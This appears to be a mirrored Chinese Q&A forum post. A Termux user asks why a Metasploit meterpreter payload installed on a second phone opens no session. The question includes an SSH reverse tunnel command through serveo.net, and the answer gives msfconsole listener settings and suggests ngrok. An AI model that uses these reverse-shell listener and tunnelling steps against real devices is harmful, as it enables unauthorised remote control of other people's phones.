首页 > 解决方案 > 需要帮助确定在 metasploit 中使用哪些端口

问题描述

带有 termux 的设备:LG g8,android 9。使用我的手机数据而不是 Wi-Fi。

我已经使用 termux 在我的手机上安装了 metasploit,并且我在网上找到了有关如何使用 metasploit 的教程。教程中的第 1 步是端口转发。本教程使用命令“ssh -R 4564:localhost:4564 serveo.net”我尝试使用相同的端口但遇到了错误。我将端口 4564 替换为随机端口,端口 1122。“ssh -R 1122:localhost:1122 serveo.net”

这是端口的工作方式吗?如果不是,那么我应该为港口放什么?

我成功完成了本教程的其余部分,但是在我的另一部手机(连接到我的热点)上安装并打开有效负载后,meterpreter 没有弹出,也没有激活任何会话。我做错了什么,是端口吗?它只适用于root吗?

这是网站https://null-byte.wonderhowto.com/forum/to-hack-android-device-with-termux-android-part-1-over-internet-ultimate-guide-0187005/

标签: androidportmetasploittermux

解决方案


在 metasploit (msfconsole) 你必须使用你的 localhost 和那个 port 。

set payload {payload}
set lhost 127.0.0.1
set lport 4564
exploit ```
use port that you forwarded
if it still not work you can use ngrok.


推荐阅读